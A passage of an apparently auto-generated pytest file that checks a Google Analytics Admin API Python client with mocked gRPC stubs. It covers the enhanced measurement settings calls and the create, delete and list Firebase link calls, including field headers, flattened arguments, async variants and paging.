# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.GetEnhancedMeasurementSettingsRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.EnhancedMeasurementSettings()
)
await client.get_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_enhanced_measurement_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.EnhancedMeasurementSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_enhanced_measurement_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_get_enhanced_measurement_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_enhanced_measurement_settings(
analytics_admin.GetEnhancedMeasurementSettingsRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_enhanced_measurement_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.EnhancedMeasurementSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.EnhancedMeasurementSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_enhanced_measurement_settings(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_get_enhanced_measurement_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_enhanced_measurement_settings(
analytics_admin.GetEnhancedMeasurementSettingsRequest(), name="name_value",
)
def test_update_enhanced_measurement_settings(
transport: str = "grpc",
request_type=analytics_admin.UpdateEnhancedMeasurementSettingsRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.EnhancedMeasurementSettings(
name="name_value",
stream_enabled=True,
page_views_enabled=True,
scrolls_enabled=True,
outbound_clicks_enabled=True,
site_search_enabled=True,
video_engagement_enabled=True,
file_downloads_enabled=True,
page_loads_enabled=True,
page_changes_enabled=True,
search_query_parameter="search_query_parameter_value",
uri_query_parameter="uri_query_parameter_value",
)
response = client.update_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateEnhancedMeasurementSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.EnhancedMeasurementSettings)
assert response.name == "name_value"
assert response.stream_enabled is True
assert response.page_views_enabled is True
assert response.scrolls_enabled is True
assert response.outbound_clicks_enabled is True
assert response.site_search_enabled is True
assert response.video_engagement_enabled is True
assert response.file_downloads_enabled is True
assert response.page_loads_enabled is True
assert response.page_changes_enabled is True
assert response.search_query_parameter == "search_query_parameter_value"
assert response.uri_query_parameter == "uri_query_parameter_value"
def test_update_enhanced_measurement_settings_from_dict():
test_update_enhanced_measurement_settings(request_type=dict)
def test_update_enhanced_measurement_settings_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
client.update_enhanced_measurement_settings()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateEnhancedMeasurementSettingsRequest()
@pytest.mark.asyncio
async def test_update_enhanced_measurement_settings_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateEnhancedMeasurementSettingsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.EnhancedMeasurementSettings(
name="name_value",
stream_enabled=True,
page_views_enabled=True,
scrolls_enabled=True,
outbound_clicks_enabled=True,
site_search_enabled=True,
video_engagement_enabled=True,
file_downloads_enabled=True,
page_loads_enabled=True,
page_changes_enabled=True,
search_query_parameter="search_query_parameter_value",
uri_query_parameter="uri_query_parameter_value",
)
)
response = await client.update_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateEnhancedMeasurementSettingsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.EnhancedMeasurementSettings)
assert response.name == "name_value"
assert response.stream_enabled is True
assert response.page_views_enabled is True
assert response.scrolls_enabled is True
assert response.outbound_clicks_enabled is True
assert response.site_search_enabled is True
assert response.video_engagement_enabled is True
assert response.file_downloads_enabled is True
assert response.page_loads_enabled is True
assert response.page_changes_enabled is True
assert response.search_query_parameter == "search_query_parameter_value"
assert response.uri_query_parameter == "uri_query_parameter_value"
@pytest.mark.asyncio
async def test_update_enhanced_measurement_settings_async_from_dict():
await test_update_enhanced_measurement_settings_async(request_type=dict)
def test_update_enhanced_measurement_settings_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateEnhancedMeasurementSettingsRequest()
request.enhanced_measurement_settings.name = (
"enhanced_measurement_settings.name/value"
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
call.return_value = resources.EnhancedMeasurementSettings()
client.update_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"enhanced_measurement_settings.name=enhanced_measurement_settings.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_enhanced_measurement_settings_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateEnhancedMeasurementSettingsRequest()
request.enhanced_measurement_settings.name = (
"enhanced_measurement_settings.name/value"
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.EnhancedMeasurementSettings()
)
await client.update_enhanced_measurement_settings(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"enhanced_measurement_settings.name=enhanced_measurement_settings.name/value",
) in kw["metadata"]
def test_update_enhanced_measurement_settings_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.EnhancedMeasurementSettings()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_enhanced_measurement_settings(
enhanced_measurement_settings=resources.EnhancedMeasurementSettings(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[
0
].enhanced_measurement_settings == resources.EnhancedMeasurementSettings(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_enhanced_measurement_settings_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_enhanced_measurement_settings(
analytics_admin.UpdateEnhancedMeasurementSettingsRequest(),
enhanced_measurement_settings=resources.EnhancedMeasurementSettings(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_enhanced_measurement_settings_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_enhanced_measurement_settings), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.EnhancedMeasurementSettings()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.EnhancedMeasurementSettings()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_enhanced_measurement_settings(
enhanced_measurement_settings=resources.EnhancedMeasurementSettings(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[
0
].enhanced_measurement_settings == resources.EnhancedMeasurementSettings(
name="name_value"
)
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_enhanced_measurement_settings_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_enhanced_measurement_settings(
analytics_admin.UpdateEnhancedMeasurementSettingsRequest(),
enhanced_measurement_settings=resources.EnhancedMeasurementSettings(
name="name_value"
),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_create_firebase_link(
transport: str = "grpc", request_type=analytics_admin.CreateFirebaseLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.FirebaseLink(
name="name_value", project="project_value",
)
response = client.create_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateFirebaseLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.FirebaseLink)
assert response.name == "name_value"
assert response.project == "project_value"
def test_create_firebase_link_from_dict():
test_create_firebase_link(request_type=dict)
def test_create_firebase_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
client.create_firebase_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateFirebaseLinkRequest()
@pytest.mark.asyncio
async def test_create_firebase_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateFirebaseLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.FirebaseLink(name="name_value", project="project_value",)
)
response = await client.create_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateFirebaseLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.FirebaseLink)
assert response.name == "name_value"
assert response.project == "project_value"
@pytest.mark.asyncio
async def test_create_firebase_link_async_from_dict():
await test_create_firebase_link_async(request_type=dict)
def test_create_firebase_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateFirebaseLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
call.return_value = resources.FirebaseLink()
client.create_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_firebase_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateFirebaseLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.FirebaseLink()
)
await client.create_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_firebase_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.FirebaseLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_firebase_link(
parent="parent_value",
firebase_link=resources.FirebaseLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].firebase_link == resources.FirebaseLink(name="name_value")
def test_create_firebase_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_firebase_link(
analytics_admin.CreateFirebaseLinkRequest(),
parent="parent_value",
firebase_link=resources.FirebaseLink(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_firebase_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.FirebaseLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.FirebaseLink()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_firebase_link(
parent="parent_value",
firebase_link=resources.FirebaseLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].firebase_link == resources.FirebaseLink(name="name_value")
@pytest.mark.asyncio
async def test_create_firebase_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_firebase_link(
analytics_admin.CreateFirebaseLinkRequest(),
parent="parent_value",
firebase_link=resources.FirebaseLink(name="name_value"),
)
def test_delete_firebase_link(
transport: str = "grpc", request_type=analytics_admin.DeleteFirebaseLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteFirebaseLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_firebase_link_from_dict():
test_delete_firebase_link(request_type=dict)
def test_delete_firebase_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
client.delete_firebase_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteFirebaseLinkRequest()
@pytest.mark.asyncio
async def test_delete_firebase_link_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.DeleteFirebaseLinkRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.DeleteFirebaseLinkRequest()
# Establish that the response is the type that we expect.
assert response is None
@pytest.mark.asyncio
async def test_delete_firebase_link_async_from_dict():
await test_delete_firebase_link_async(request_type=dict)
def test_delete_firebase_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteFirebaseLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
call.return_value = None
client.delete_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_firebase_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.DeleteFirebaseLinkRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_firebase_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_delete_firebase_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_firebase_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
def test_delete_firebase_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_firebase_link(
analytics_admin.DeleteFirebaseLinkRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_delete_firebase_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.delete_firebase_link), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_firebase_link(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
@pytest.mark.asyncio
async def test_delete_firebase_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_firebase_link(
analytics_admin.DeleteFirebaseLinkRequest(), name="name_value",
)
def test_list_firebase_links(
transport: str = "grpc", request_type=analytics_admin.ListFirebaseLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListFirebaseLinksResponse(
next_page_token="next_page_token_value",
)
response = client.list_firebase_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListFirebaseLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListFirebaseLinksPager)
assert response.next_page_token == "next_page_token_value"
def test_list_firebase_links_from_dict():
test_list_firebase_links(request_type=dict)
def test_list_firebase_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
client.list_firebase_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListFirebaseLinksRequest()
@pytest.mark.asyncio
async def test_list_firebase_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListFirebaseLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListFirebaseLinksResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_firebase_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListFirebaseLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListFirebaseLinksAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_firebase_links_async_from_dict():
await test_list_firebase_links_async(request_type=dict)
def test_list_firebase_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListFirebaseLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
call.return_value = analytics_admin.ListFirebaseLinksResponse()
client.list_firebase_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_firebase_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListFirebaseLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListFirebaseLinksResponse()
)
await client.list_firebase_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_firebase_links_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListFirebaseLinksResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_firebase_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_firebase_links_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_firebase_links(
analytics_admin.ListFirebaseLinksRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_firebase_links_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListFirebaseLinksResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListFirebaseLinksResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_firebase_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_firebase_links_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_firebase_links(
analytics_admin.ListFirebaseLinksRequest(), parent="parent_value",
)
def test_list_firebase_links_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_firebase_links), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[
resources.FirebaseLink(),
resources.FirebaseLink(),
resources.FirebaseLink(),
],
next_page_token="abc",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[], next_page_token="def",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(),], next_page_token="ghi",
),
analytics_admin.ListFirebaseLinksResponse(
firebase_links=[resources.FirebaseLink(), resources.FirebaseLink(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_firebase_links(request={})
